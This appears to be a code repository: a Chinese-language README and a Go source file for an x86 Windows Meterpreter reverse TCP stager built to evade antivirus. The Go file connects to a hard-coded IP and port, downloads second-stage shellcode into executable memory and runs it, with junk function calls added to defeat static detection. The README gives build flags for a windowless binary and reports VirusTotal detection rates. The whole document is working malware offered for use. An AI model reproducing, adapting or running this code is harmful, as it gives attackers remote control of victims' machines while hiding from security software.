├── README.md └── go_meterpreter.go /README.md: -------------------------------------------------------------------------------- 1 | # go_meterpreter 2 | Golang实现的x86下的Meterpreter reverse tcp 3 | 4 | 做静态免杀实验,代码修改自[EGESPLOIT](https://github.com/EgeBalci/EGESPLOIT) 这个开源项目。单独实现主要在于减小程序编译后体积。目前编译后的大小在1.2M左右。 5 | 6 | ## 使用方法 7 | 8 | 修改go_meterpreter.go中125行代码 s := "http://192.168.121.131:8989" IP和端口修改为自己的地址。然后就可以go build了。 9 | ''' 10 | set GOARCH=386 11 | go build -ldflags="-H windowsgui -w" 12 | 13 | ''' 14 | 注意上面参数中没有-s,因为实际测试,使用这种方式build后的程序免杀效果会好一些。如果直接go build,程序会有窗口,同时大小也在1.6M左右。 15 | 16 | 由于加入了这部分代码,运行后因为执行多次无用代码,需要等一会才可以看到上线。另外目前会出现连接两次msf的情况,但是只有一个连接会返回shell,目前没找到原因。 17 | 18 | ## 免杀效果 19 | 20 | 加入了Bypass AV的代码。 21 | 22 | 我在刚写好的时候上传到VT,查杀结果位8/62。VT上有超过70个引擎,62个应该是加入BypassAV代码起的作用。 23 | 24 | 今天最新经过编译查杀结果为20/70。由于现在杀毒都有云查杀,刚写的时候效果好,但是过几天就被被杀。这里具体可以结合一些其他方式来尝试绕过。 25 | 26 | VT检测结果地址:[https://www.virustotal.com/gui/file/f8ff4acac418e6cdc326d0139ba2bdb9fce32558985962cf8303fcc97b9e47fb/detection](https://www.virustotal.com/gui/file/f8ff4acac418e6cdc326d0139ba2bdb9fce32558985962cf8303fcc97b9e47fb/detection) 27 | 28 | 在使用这个的过程中,Windows10中自带的杀毒软件会拦截。会被动态行为发现。这里仅是过静态查杀测试。 29 | 30 | 31 | -------------------------------------------------------------------------------- /go_meterpreter.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "encoding/binary" 5 | "strconv" 6 | "strings" 7 | "syscall" 8 | "unsafe" 9 | ) 10 | 11 | const ( 12 | MEM_COMMIT = 0x1000 13 | MEM_RESERVE = 0x2000 14 | PAGE_EXECUTE_READWRITE = 0x40 15 | ) 16 | 17 | var MagicNumber int64 = 5 18 | 19 | //Bypass AV 20 | func Jump() { 21 | MagicNumber++ 22 | hop1() 23 | } 24 | func hop1() { 25 | MagicNumber++ 26 | hop2() 27 | } 28 | func hop2() { 29 | MagicNumber++ 30 | hop3() 31 | } 32 | func hop3() { 33 | MagicNumber++ 34 | hop4() 35 | } 36 | func hop4() { 37 | MagicNumber++ 38 | hop5() 39 | } 40 | func hop5() { 41 | MagicNumber++ 42 | hop6() 43 | } 44 | func hop6() { 45 | MagicNumber++ 46 | hop7() 47 | } 48 | func hop7() { 49 | MagicNumber++ 50 | hop8() 51 | } 52 | func hop8() { 53 | MagicNumber++ 54 | hop9() 55 | } 56 | func hop9() { 57 | MagicNumber++ 58 | hop10() 59 | } 60 | func hop10() { 61 | MagicNumber++ 62 | } 63 | 64 | //Meterpreter 65 | func mp(Address string) { 66 | kernel32 := syscall.MustLoadDLL("kernel32.dll") 67 | VirtualAlloc := kernel32.MustFindProc("VirtualAlloc") 68 | var WSA_Data syscall.WSAData 69 | syscall.WSAStartup(uint32(0x202), &WSA_Data) 70 | Socket, _ := syscall.Socket(syscall.AF_INET, syscall.SOCK_STREAM, 0) 71 | 72 | AddressArray := strings.Split(Address, ":") 73 | IP_Array_Str := strings.Split(AddressArray[0], ".") 74 | var IP_Array_Int [4]int 75 | for i := 0; i < 4; i++ { 76 | IP_Array_Int[i], _ = strconv.Atoi(IP_Array_Str[i]) 77 | } 78 | PortInt, _ := strconv.Atoi(AddressArray[1]) 79 | Socket_Addr := syscall.SockaddrInet4{Port: PortInt, Addr: [4]byte{byte(IP_Array_Int[0]), byte(IP_Array_Int[1]), byte(IP_Array_Int[2]), byte(IP_Array_Int[3])}} 80 | 81 | syscall.Connect(Socket, &Socket_Addr) 82 | var SecondStageLengt [4]byte 83 | WSA_Buffer := syscall.WSABuf{Len: uint32(4), Buf: &SecondStageLengt[0]} 84 | Flags := uint32(0) 85 | DataReceived := uint32(0) 86 | syscall.WSARecv(Socket, &WSA_Buffer, 1, &DataReceived, &Flags, nil, nil) 87 | SecondStageLengthInt := binary.LittleEndian.Uint32(SecondStageLengt[:]) 88 | 89 | SecondStageBuffer := make([]byte, SecondStageLengthInt) 90 | var Shellcode []byte 91 | WSA_Buffer = syscall.WSABuf{Len: SecondStageLengthInt, Buf: &SecondStageBuffer[0]} 92 | Flags = uint32(0) 93 | DataReceived = uint32(0) 94 | TotalDataReceived := uint32(0) 95 | for TotalDataReceived < SecondStageLengthInt { 96 | syscall.WSARecv(Socket, &WSA_Buffer, 1, &DataReceived, &Flags, nil, nil) 97 | for i := 0; i < int(DataReceived); i++ { 98 | Shellcode = append(Shellcode, SecondStageBuffer[i]) 99 | } 100 | TotalDataReceived += DataReceived 101 | } 102 | Addr, _, _ := VirtualAlloc.Call(0, uintptr(SecondStageLengthInt+5), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE) 103 | AddrPtr := (*[990000]byte)(unsafe.Pointer(Addr)) 104 | SocketPtr := (uintptr)(unsafe.Pointer(Socket)) 105 | 106 | //x86 0xBF; 5 bytes 107 | // BF 78 56 34 12 => mov edi, 0x12345678 108 | AddrPtr[0] = 0xAF ^ 0x10 //0xBF 109 | 110 | //X64 0x48BF; 10 bytes 111 | // 48 BF 78 56 34 12 00 00 00 00 => mov rdi, 0x12345678 112 | 113 | AddrPtr[1] = byte(SocketPtr) 114 | AddrPtr[2] = 0x00 115 | AddrPtr[3] = 0x00 116 | AddrPtr[4] = 0x00 117 | for i, j := range Shellcode { 118 | Jump() 119 | AddrPtr[i+5] = j 120 | } 121 | syscall.Syscall(Addr, 0, 0, 0, 0) 122 | } 123 | 124 | func main() { 125 | s := "http://192.168.121.131:8989" 126 | Jump() 127 | mp(s[7:]) 128 | } 129 | --------------------------------------------------------------------------------